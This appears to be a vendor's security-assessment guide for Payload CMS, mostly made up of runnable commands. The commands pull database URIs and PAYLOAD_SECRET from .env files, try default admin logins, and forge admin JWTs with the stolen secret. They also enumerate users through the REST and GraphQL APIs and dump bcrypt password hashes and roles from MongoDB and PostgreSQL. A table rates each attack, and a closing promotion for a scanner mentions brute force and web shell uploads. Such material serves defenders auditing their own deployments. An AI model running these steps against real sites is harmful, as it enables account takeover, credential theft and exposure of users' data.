Payload CMS is a modern TypeScript/Node.js headless CMS supporting MongoDB and PostgreSQL, rapidly growing in adoption. Key assessment areas: .env MONGODB_URI or POSTGRES_URL exposes database credentials; PAYLOAD_SECRET signs all JWTs — extraction enables admin token forgery; admin at /admin; the users collection stores bcrypt hashes; and the REST and GraphQL APIs provide full access to collection data. This guide covers systematic Payload CMS security assessment.
# Payload CMS — .env MONGODB_URI, POSTGRES_URL, and PAYLOAD_SECRET extraction
PAYLOAD_URL="https://site.example.com"
# .env — Payload CMS primary configuration
python3 -c "
import re
content = open('/var/www/payload/.env').read()
for var in ['MONGODB_URI', 'POSTGRES_URL', 'DATABASE_URI', 'PAYLOAD_SECRET',
'S3_ACCESS_KEY', 'S3_SECRET_KEY', 'SMTP_PASS', 'EMAIL_FROM_ADDRESS']:
m = re.search(rf'{var}=(.+)', content)
if m: print(f'{var}: {m.group(1).strip()[:80]}')
" 2>/dev/null
# MONGODB_URI: mongodb+srv://user:password@cluster.mongodb.net/db (CRITICAL)
# POSTGRES_URL: postgresql://user:password@host:5432/db (CRITICAL)
# PAYLOAD_SECRET: jwt-signing-secret — forging admin JWT bypasses all auth
# Check .env web access (must return 403)
STATUS=$(curl -s -o /dev/null -w "%{http_code}" "${PAYLOAD_URL}/.env" 2>/dev/null)
echo "/.env: HTTP ${STATUS}"
# Payload admin at /admin (configurable in payload.config.ts via admin.meta.titleSuffix)
for ADMIN_PATH in "/admin" "/admin/login"; do
STATUS=$(curl -s -o /dev/null -w "%{http_code}" "${PAYLOAD_URL}${ADMIN_PATH}" 2>/dev/null)
echo "${ADMIN_PATH}: HTTP ${STATUS}"
done
# Test admin credentials via Payload REST login endpoint
curl -s -X POST "${PAYLOAD_URL}/api/users/login" \
-H "Content-Type: application/json" \
-d '{"email":"admin@site.com","password":"admin"}' 2>/dev/null | \
python3 -c "
import json, sys
d = json.load(sys.stdin)
if d.get('token'): print('JWT token:', d['token'][:80])
if d.get('user'): print('User:', d['user'].get('email'), '| id:', d['user'].get('id'))
if d.get('errors'): print('Error:', d['errors'])
" 2>/dev/null
# Payload CMS REST API, GraphQL, and JWT forgery assessment
PAYLOAD_URL="https://site.example.com"
PAYLOAD_SECRET="extracted-payload-secret"
# Forge admin JWT using PAYLOAD_SECRET (Payload uses jsonwebtoken)
node -e "
const jwt = require('jsonwebtoken');
// Payload JWT payload: { id, collection, email, ...customData }
const token = jwt.sign(
{ id: '000000000000000000000001', collection: 'users', email: 'forged@admin.com' },
'${PAYLOAD_SECRET}',
{ expiresIn: '3600s' }
);
console.log(token);
" 2>/dev/null
# REST API user enumeration (requires admin token)
JWT_TOKEN="eyJ..."
curl -s "${PAYLOAD_URL}/api/users?limit=100" \
-H "Authorization: JWT ${JWT_TOKEN}" 2>/dev/null | \
python3 -c "
import json, sys
d = json.load(sys.stdin)
for u in d.get('docs', []):
print(f'{u.get(\"email\")} | id={u.get(\"id\")} | roles={u.get(\"roles\")} | verified={u.get(\"_verified\")}')
" 2>/dev/null
# GraphQL API — collection enumeration
curl -s -X POST "${PAYLOAD_URL}/api/graphql" \
-H "Content-Type: application/json" \
-H "Authorization: JWT ${JWT_TOKEN}" \
-d '{"query":"{ Users(limit: 50) { docs { id email roles _verified } } }"}' \
2>/dev/null | python3 -c "
import json, sys
d = json.load(sys.stdin)
users = d.get('data', {}).get('Users', {}).get('docs', [])
for u in users: print(f'{u[\"email\"]} | roles={u.get(\"roles\")} | verified={u.get(\"_verified\")}')
" 2>/dev/null
# Payload versions collection — draft content
curl -s "${PAYLOAD_URL}/api/posts/versions?limit=20&where[version._status][equals]=draft" \
-H "Authorization: JWT ${JWT_TOKEN}" 2>/dev/null | head -10
# Payload CMS — MongoDB users hash and collection extraction
MONGO_URI="mongodb://user:password@localhost:27017/payload"
# MongoDB shell — users collection bcrypt hash extraction
mongosh "${MONGO_URI}" --quiet --eval '
// users — Payload user accounts with bcrypt hashes
db.users.find(
{ },
{ email: 1, password: 1, roles: 1, _verified: 1,
loginAttempts: 1, lockUntil: 1, createdAt: 1 }
).sort({ createdAt: 1 }).limit(20).forEach(function(u) {
const adminRole = (u.roles || []).includes("admin");
print(u.email + " | admin=" + adminRole + " | verified=" + u._verified +
" | hash=" + (u.password || "").slice(0, 40) + " | locked=" + (u.lockUntil ? "yes" : "no"));
});
// password: bcrypt hash ($2b$...)
// roles: ["admin"] = full Payload admin access
// _verified: false = unverified account (may still have admin access)
// Enumerate all collections (Payload stores each content type as a separate collection)
db.adminCommand({ listCollections: 1, nameOnly: true }).cursor.firstBatch.forEach(function(c) {
print(c.name + ": " + db[c.name].countDocuments({}));
});
// payload-preferences — stored user preferences (may contain tokens)
db["payload-preferences"].find({}, { user: 1, key: 1, value: 1 }).limit(10).forEach(function(p) {
print("user=" + p.user + " | key=" + p.key + " | value=" + JSON.stringify(p.value).slice(0,80));
});
' 2>/dev/null
# PostgreSQL equivalent (Payload 2.x with Drizzle/PostgreSQL adapter)
psql "${POSTGRES_URL}" -c "
SELECT id, email, password, roles, _verified, login_attempts,
lock_until, created_at
FROM users
ORDER BY created_at
LIMIT 20;
" 2>/dev/null
| Security Test | Method | Risk |
|---|---|---|
| .env PAYLOAD_SECRET JWT signing key extraction enabling admin token forgery | Read .env — PAYLOAD_SECRET; forge jwt.sign({id, collection:'users', email}, secret) — valid admin JWT without password | Critical |
| .env MONGODB_URI or POSTGRES_URL database credential extraction | Read .env — MONGODB_URI/POSTGRES_URL password; full database access to users collection bcrypt hashes and all content | Critical |
| users collection bcrypt hash extraction with roles:admin identification | MongoDB db.users.find() or PostgreSQL SELECT — password ($2b$ bcrypt) + roles admin array; bcrypt requires GPU cracking | High |
| REST API /api/users and GraphQL Users collection enumeration | GET /api/users with admin JWT — enumerate all users, emails, roles, and verified status; POST /api/graphql Users query | High |
| Admin credential brute-force at /api/users/login without rate limiting | POST /api/users/login JSON — email/password; no rate limiting by default; successful auth returns JWT for full collection access | High |
Ironimo tests Payload CMS deployments for .env MONGODB_URI, POSTGRES_URL, and PAYLOAD_SECRET web accessibility, PAYLOAD_SECRET JWT forgery to generate admin tokens without credentials, admin credential brute-force at /api/users/login rate limiting assessment, users collection bcrypt hash extraction with roles:admin identification, REST API /api/users and GraphQL /api/graphql Users enumeration, collection access control audit for access:() => true public exposure, upload collection MIME type validation bypass for web shell upload, /api/graphql introspection endpoint exposure, versions collection draft content enumeration, and npm audit dependency CVE cross-reference.
Start free scan